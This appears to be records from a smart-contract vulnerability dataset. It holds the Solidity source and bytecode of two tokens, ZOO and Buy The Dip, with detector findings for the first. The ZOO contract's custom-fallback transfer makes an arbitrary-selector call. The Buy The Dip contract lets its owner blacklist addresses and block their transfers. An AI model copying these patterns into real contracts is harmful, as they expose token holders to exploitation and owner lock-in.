pragma solidity 0.4.21; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title ERC223 interface * @dev see https://github.com/ethereum/eips/issues/223 */ contract ERC223 { function transfer(address _to, uint _value, bytes _data) public returns (bool success); function transfer(address _to, uint _value, bytes _data, string _fallback) public returns (bool success); event Transfer(address indexed from, address indexed to, uint value, bytes data); } /** * @title Contract that will work with ERC223 tokens. */ contract ERC223ReceivingContract { /** * @dev Standard ERC223 function that will handle incoming token transfers. * * @param _from Token sender address. * @param _value Amount of tokens. * @param _data Transaction metadata. */ function tokenFallback(address _from, uint _value, bytes _data); } /** * @title ERC223Token * @dev Generic implementation for the required functionality of the ERC223 standard. * @dev */ contract ZoologicalGarden is ERC223, ERC20Basic { using SafeMath for uint256; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; mapping(address => uint256) public balances; /** * @dev Function to access name of token. * @return _name string the name of the token. */ function name() public view returns (string _name) { return name; } /** * @dev Function to access symbol of token. * @return _symbol string the symbol of the token. */ function symbol() public view returns (string _symbol) { return symbol; } /** * @dev Function to access decimals of token. * @return _decimals uint8 decimal point of token fractions. */ function decimals() public view returns (uint8 _decimals) { return decimals; } /** * @dev Function to access total supply of tokens. * @return _totalSupply uint256 total token supply. */ function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } /** * @dev Function to access the balance of a specific address. * @param _owner address the target address to get the balance from. * @return _balance uint256 the balance of the target address. */ function balanceOf(address _owner) public view returns (uint256 _balance) { return balances[_owner]; } function ZoologicalGarden() public{ name = "Zoological Garden"; symbol = "ZOO"; decimals = 4; totalSupply = 100000000 * 10 ** uint(decimals); balances[msg.sender] = totalSupply; } /** * @dev Function that is called when a user or another contract wants to transfer funds using custom fallback. * @param _to address to which the tokens are transfered. * @param _value uint256 amount of tokens to be transfered. * @param _data bytes data along token transaction. * @param _fallback string name of the custom fallback function to be called after transaction. */ function transfer(address _to, uint256 _value, bytes _data, string _fallback) public returns (bool _success) { if (isContract(_to)) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = balanceOf(msg.sender).sub(_value); balances[_to] = balanceOf(_to).add(_value); // Calls the custom fallback function. // Will fail if not implemented, reverting transaction. assert(_to.call.value(0)(bytes4(keccak256(_fallback)), msg.sender, _value, _data)); Transfer(msg.sender, _to, _value, _data); return true; } else { return transferToAddress(_to, _value, _data); } } /** * @dev Function that is called when a user or another contract wants to transfer funds using default fallback. * @param _to address to which the tokens are transfered. * @param _value uint256 amount of tokens to be transfered. * @param _data bytes data along token transaction. */ function transfer(address _to, uint256 _value, bytes _data) public returns (bool _success) { if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } /** * @dev Standard function transfer similar to ERC20 transfer with no _data. * Added due to backwards compatibility reasons. * @param _to address to which the tokens are transfered. * @param _value uint256 amount of tokens to be transfered. */ function transfer(address _to, uint256 _value) public returns (bool _success) { // Adds empty bytes to fill _data param in functions bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } /** * @dev Function to test whether target address is a contract. * @param _addr address to be tested as a contract address or something else. * @return _isContract bool true if target address is a contract false otherwise. */ function isContract(address _addr) private view returns (bool _isContract) { uint length; assembly { length := extcodesize(_addr) } return (length > 0); } /** * @dev Function that is called when transaction target is an address. * @param _to address to which the tokens are transfered. * @param _value uint256 amount of tokens to be transfered. * @param _data bytes data along token transaction. */ function transferToAddress(address _to, uint256 _value, bytes _data) private returns (bool _success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = balanceOf(msg.sender).sub(_value); balances[_to] = balanceOf(_to).add(_value); Transfer(msg.sender, _to, _value, _data); return true; } /** * @dev Function that is called when transaction target is a contract. * @param _to address to which the tokens are transfered. * @param _value uint256 amount of tokens to be transfered. * @param _data bytes data along token transaction. */ function transferToContract(address _to, uint256 _value, bytes _data) private returns (bool _success) { if (balanceOf(msg.sender) < _value) { revert(); } balances[msg.sender] = balanceOf(msg.sender).sub(_value); balances[_to] = balanceOf(_to).add(_value); // Calls the default fallback function. // Will fail if not implemented, reverting transaction. ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); return true; } }
0x60606040526004361061007f5763ffffffff60e060020a60003504166306fdde03811461008457806318160ddd1461010e57806327e235e314610133578063313ce5671461015257806370a082311461017b57806395d89b411461019a578063a9059cbb146101ad578063be45fd62146101e3578063f6368f8a14610248575b600080fd5b341561008f57600080fd5b6100976102ef565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156100d35780820151838201526020016100bb565b50505050905090810190601f1680156101005780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561011957600080fd5b610121610397565b60405190815260200160405180910390f35b341561013e57600080fd5b610121600160a060020a036004351661039d565b341561015d57600080fd5b6101656103af565b60405160ff909116815260200160405180910390f35b341561018657600080fd5b610121600160a060020a03600435166103b8565b34156101a557600080fd5b6100976103d3565b34156101b857600080fd5b6101cf600160a060020a0360043516602435610446565b604051901515815260200160405180910390f35b34156101ee57600080fd5b6101cf60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061048295505050505050565b341561025357600080fd5b6101cf60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f0160208091040260200160405190810160405281815292919060208401838380828437509496506104b695505050505050565b6102f7610a82565b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561038d5780601f106103625761010080835404028352916020019161038d565b820191906000526020600020905b81548152906001019060200180831161037057829003601f168201915b5050505050905090565b60035490565b60046020526000908152604090205481565b60025460ff1690565b600160a060020a031660009081526004602052604090205490565b6103db610a82565b60018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561038d5780601f106103625761010080835404028352916020019161038d565b6000610450610a82565b61045984610724565b156104705761046984848361072c565b915061047b565b61046984848361092c565b5092915050565b600061048d84610724565b156104a45761049d84848461072c565b90506104af565b61049d84848461092c565b9392505050565b60006104c185610724565b1561070e57836104d0336103b8565b10156104db57600080fd5b6104f4846104e8336103b8565b9063ffffffff610a5d16565b600160a060020a0333166000908152600460205260409020556105268461051a876103b8565b9063ffffffff610a6f16565b600160a060020a0386166000818152600460205260408082209390935590918490518082805190602001908083835b602083106105745780518252601f199092019160209182019101610555565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b838110156106055780820151838201526020016105ed565b50505050905090810190601f1680156106325780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185885af19350505050151561065257fe5b84600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16868660405182815260406020820181815290820183818151815260200191508051906020019080838360005b838110156106cb5780820151838201526020016106b3565b50505050905090810190601f1680156106f85780820380516001836020036101000a031916815260200191505b50935050505060405180910390a350600161071c565b61071985858561092c565b90505b949350505050565b6000903b1190565b60008083610739336103b8565b101561074457600080fd5b610751846104e8336103b8565b600160a060020a0333166000908152600460205260409020556107778461051a876103b8565b600160a060020a03861660008181526004602052604090819020929092558692509063c0ee0b8a90339087908790518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156108105780820151838201526020016107f8565b50505050905090810190601f16801561083d5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b151561085d57600080fd5b5af1151561086a57600080fd5b50505084600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16868660405182815260406020820181815290820183818151815260200191508051906020019080838360005b838110156108e65780820151838201526020016108ce565b50505050905090810190601f1680156109135780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3506001949350505050565b600082610938336103b8565b101561094357600080fd5b610950836104e8336103b8565b600160a060020a0333166000908152600460205260409020556109768361051a866103b8565b6004600086600160a060020a0316600160a060020a031681526020019081526020016000208190555083600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16858560405182815260406020820181815290820183818151815260200191508051906020019080838360005b83811015610a18578082015183820152602001610a00565b50505050905090810190601f168015610a455780820380516001836020036101000a031916815260200191505b50935050505060405180910390a35060019392505050565b600082821115610a6957fe5b50900390565b81810182811015610a7c57fe5b92915050565b602060405190810160405260008152905600a165627a7a7230582052db2fbc8f8a0700c9d03cdc4f4531ed645d822b5e805291afbca434362cdaa30029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
568
0x098582255d7bc5A3Fed2e78467D587Ae7b577196
/** *Submitted for verification at Etherscan.io on 2021-06-22 */ /** ____ ________ ____ _ / __ )__ ____ __ /_ __/ /_ ___ / __ \(_)___ / __ / / / / / / / / / / __ \/ _ \ / / / / / __ \ / /_/ / /_/ / /_/ / / / / / / / __/ / /_/ / / /_/ / /_____/\__,_/\__, / /_/ /_/ /_/\___/ /_____/_/ .___/ /____/ /_/ TG: https://t.me/buythediptoken Twitter: https://twitter.com/buythediptoken */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract BuyTheDip is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Buy The Dip!"; string private constant _symbol = "BuyTheDip \xF0\x9F\x86\x99"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (15 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2500000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600c81526020017f4275792054686520446970210000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600e81526020017f42757954686544697020f09f8699000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573fffffffffffffffffffffffffffffffffffffff